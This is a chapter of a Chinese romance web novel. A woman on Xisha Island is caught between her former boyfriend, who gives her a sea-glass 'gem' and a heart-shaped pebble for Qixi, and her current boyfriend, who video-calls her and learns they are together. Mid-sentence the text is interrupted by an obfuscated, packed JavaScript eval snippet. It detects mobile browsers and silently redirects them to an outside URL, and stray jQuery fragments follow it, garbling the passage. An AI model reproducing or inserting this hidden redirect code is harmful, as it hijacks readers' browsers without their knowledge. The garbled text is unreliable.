29. 汐沙岛

作品:《夏日沦陷[破镜重圆]

    阮知看他一眼,他光着脚,两手空空,能送她什么礼物?


    骗人!


    阮知撇他一眼不说话,继续拿着树枝掏洞。


    “真的。”蒋亦沉摊开手掌,“你看。”


    阮知再看过去时,看到了蒋亦沉手上有个圆圆的闪着光的东西,跟绿宝石似的。


    阮知好奇地拿起来看了看,轻巧圆润,很是精致。“这什么?”


    “绿宝石啊。”蒋亦沉笑,“送给你了,就当我送给你的礼物。”


    阮知捏着“绿宝石”对着月光看。“又不是什么节日,送什么礼物。”


    “谁说的,明天就是个很重要的节日。就当我提前送你了。”


    阮知想了想,这大八月的有个屁的节日,尽忽悠人。


    她把“宝石”还给他,“我才不要呢,礼物太贵重,还不起。”


    蒋亦沉笑起来,“笨蛋,就是个海玻璃而已。”


    海玻璃?就是啤酒瓶呗。


    又骗她!


    阮知把玻璃扔回给蒋亦沉并给了个眼神,骗子!


    一阵晚风过,带起些许海水的潮气,湿漉漉的。


    蒋亦沉捡起地上的海玻璃看向阮知,阮知也没心情挖沙子了。她坐在那发起了呆,杏眼朦胧的,不知道在想什么。


    “很多海玻璃分割成小块嵌在一些珠宝首饰里,时常真假难辨。”蒋亦沉说着抬起手摘下了无名指上的戒指,“就像我这个戒指,不就是用一元的硬币做的么,别人都以为是银的呢。”


    阮知心里扑腾一下,她侧眸看过去。


    这是阮知送给蒋亦沉的唯一的东西,价值十一元。还是在她的老家做的,没想到他一直戴着。


    不对。


    阮知突然想起来,上次他胃疼时,她明明看到地上的那个戒指才是她送给他的那个。


    那他手上这个?


    阮知一把抢过他手上的戒指看起来,“你这个也是用硬币做得?”


    蒋亦沉还没来得及回答,阮知就借着月光看到了戒指里面有两个字母,“RZ”。


    RZ?阮知?


    而她当时送给他的明明刻的是"JYC"。


    阮知看着他,“你去哪弄的?”


    暴露了,蒋亦沉心口瞬时有点闷。“在你离开我后,我又去过一次你的家乡。还是在你带我去过的那个地方做的。”


    夜深了,空气湿漉,阮知感觉身上的衣服都潮了,沾满水汽,又沉又凉。


    她不敢再往下想了,也不想让自己再次陷入某些想象里。


    海风过,月光下的小木屋里传来泠泠泠的风铃声。


    旁边的海浪击打着鹅卵石,一阵一阵。像打在阮知的身上,也敲在了她心里。


    阮知把戒指还给他,起身就走。


    蒋亦沉一把拽住了她的手,“你下一部戏还在金沙影视城拍对吗?我想起来你房间的东西都收柜子里了,所以你还是住我家,对吗?”


    “难怪你那么干脆就答应来汐沙岛。”蒋亦沉说,“可你为什么不告诉我?”


    问题看是太多,但归纳起来好像也就一个。


    阮知心里咯噔一下,当时她就是故意不说的。那现在~她也不想承认了。


    阮知撤了一下手,“我忘了。”


    蒋亦沉用力拽住,“你说谎。”


    夜深了,空旷一片。


    阮知不想一直纠缠这个问题。


    可她又挣不开,她问,“你到底想说什么?”


    蒋亦沉这才想起正事来,他从口袋掏出一个鹅卵石放在阮知的手心,“我是真的有礼物要送给你。”


    阮知摊开手一看是个乳白色的心型鹅卵石,色泽如月光,质地如琥珀,白玉似的。


    拿在手里沉甸甸的,难怪他刚一直蹲在那海边,原来就是为了捡这玩意儿。


    一阵一阵的潮汐中只听蒋亦沉说,“知知,节日礼物,送给你。”


    “什么节日啊?”


    蒋亦沉笑起来,“七夕啊。”


    七夕?农历七月初七?


    难怪呢。


    阮知看着那心形“白玉”只觉烫手。


    可蒋亦沉仿佛看穿了她的心思。


    他紧紧握住她的手,“知知,我不信你曾经不爱我,说你爱过我好不好?”


    阮知好不容易压制的心思又开始翻涌。


    清透的月光下,她看着他如深夜海水般的眼睛。有那么一瞬她真想把所有的心思都吐个干净。


    “我……”阮知刚要说点什么时,她口袋里的手机响了。


    铃声响了一遍又一遍,在这沉静的夜里尤为刺耳。


    蒋亦沉放开了她。


    阮知拿起手机一看,谢宴清?


    她懵了一瞬,这人都多久没主动联系她了,怎么偏偏在这么个时候又来找她了?


    阮知赶紧拿着手机走远了些,接通后,屏幕里闪出一张一如既往的笑脸。“嗨喽,小知了。”


    假期里的谢宴清神清气爽,一身明媚。


    “不好意思啊,小知了,这么久才联系你。”说着他顿了一下,“走得时候也没跟你打招呼。”


    谢宴清应该是在自家卧室里,他甩着湿漉漉的头发,说话时眼神明显有些躲闪。


    都是成年人了,当时他为什么匆匆而去,其中原因各自心知肚明。


    阮知忽然哑语,她本来跟谢宴清就还没多亲近。如此一来,便更加生分了。


    沉默中,阮知回头远远朝蒋亦沉的方向看了一眼。看到他还坐在沙滩上,还是刚刚那个位置。


    “小知了,我那天确实生气了~”谢宴清又解释,“可是这些天我想了想,我不想跟你分开。我们在一起还没几天呢,可又像过了很久很久……”


    “小知了,明天就是七夕了。我来找你,咱们出去玩好吗?”


    阮知一听手一抖,差点手机都掉了。


    她现在这情况该怎么回绝?


    阮知脑子打架,慌乱中她说了一句。“不行了,我现在出去旅行了,在一个岛上。”


    “难怪我好像听到了海浪的声音,你在哪个岛呢?”


    “汐沙岛。”阮知把手机转了一下,“你看,旁边就是海。”


    “哦,那是个好地方,不过听说得提前一个月订才行。”谢宴清拨了拨额前的头发,“你跟谁去的啊,我怎么没听说你订票了。”


    阮知有点腿软,可她又不会撒谎。她努力站直了些,尽量装作淡定道,“我姑姑,她每年都要来这禅修。”


    谢宴清拨着刘海的手倏地一顿,然后缓缓放了下来。脸色也变了,“哦,难怪。”


    接着就陷入了沉默,无声的沉默。


    一人想问又不问,一人想说又不知道怎么说。


    阮知只听到耳边呼呼的海风,像是暴风雨来袭的前兆。


    偏偏这时候响起了蒋亦沉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319513|180918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的声音,“好了没有?”


    阮知一回头,看到蒋亦沉不知什么时候已经朝她走近了。“晚了,该回家睡觉了。”


    蒋亦沉擦过她往小木屋走,“快点,我等你。”


    阮知:“……”


    你就故意的吧。


    阮知脑袋都要爆炸了!


    海滩又陷入沉寂,死一般的沉寂。


    谢宴清,“你,你们在一起?”


    阮知认命了,“对,蒋亦沉也在这边。”


    谢宴清不死心,“现在附近就你们两个人对吗?”


    漆黑的夜,皎白的月,辽阔的海滩上就他们两个人。


    一男一女,还是曾经的男女朋友。


    谢宴清脸色铁青,“知知,你可有什么想对我说?”


    此时说什么都没用了。


    阮知看向漆黑的大海闭上眼睛思索的几秒,“谢宴清,我,我一直都想跟你说清楚,我……”


    “别说了!”谢宴清直接打断了。


    阮知吓一跳,这是她认识谢宴清近两年来,第一次听到他吼她,还是这么大声。


    阮知不敢说话了,她本是打算等她从汐沙岛回去后找个机会两人当面说清楚,他们不能再继续下去了。


    可没想一切就这么得猝不及防。


    视屏里谢宴清的脸色沉得可怕,他闭上眼睛缓了缓。声音低了下来。“我知道你要说什么,别说了,求你别说了。下次见面再说,行吗?”


    阮知咬了咬嘴唇,低低回了一声。“好。”


    视频挂断一抬头,蒋亦车就在不远处的沙滩上看着她。


    原来他并没有回屋,而是一直在看着她,如监视一般。


    就知道,他是故意的!


    阮知瞪他一眼,心里骂了一句,神经病!


    “是他吧。”偏蒋亦沉就跟个没事人样的,“聊什么呢?”


    “你刚刚就是故意的吧?”看着蒋亦沉这样子,阮知突然就有点情绪上头了,“你不都听到了?还明知故问有意思吗?”


    说完,她擦过他朝木屋走去。


    “跟他分手。”


    黑夜里,蒋亦沉的语气突然就十分严肃。


    阮知胸腔一震,她脚步一顿,“关你什么事!”


    “你们不合适。”


    阮知的情绪一下就上来了,“那是我的事。”


    “你不嫌脏吗?”看着阮知如此态度,蒋亦沉也开始控制不住情绪了,“是不是非得把照片,视频发给你你才信啊。”


    蒋亦沉憋了好久好久了,不吐不快,“你那所谓的阳光帅气的男朋友大二的时候就被人包养了。”


    阮知浑身一僵,她缓缓转过身。她张了张嘴,可最后什么都没说出来。


    蒋亦沉压了压语气,“还不止一个,不管你信不信,这都是事实。没有证据的事我不会乱说,资料都在我那放着呢。”


    阮知就那么站着,僵硬地站在房檐下。陷在一片阴影里,一动不动。


    “你要是不信的话,我可以把资料给你。我甚至可以给你提供你意想不到的视频……”


    “别说了!”


    阮知终于出声了,像是用尽了全身的力气吼出来了。吼完感觉整个人都空了,轻飘飘的。


    她缓了缓,转头看向蒋亦沉。“你说什么呢,你是不是就等着看我笑话呢,是不是就等着嘲笑我呢!”


    “看我这样,你满意了吗?”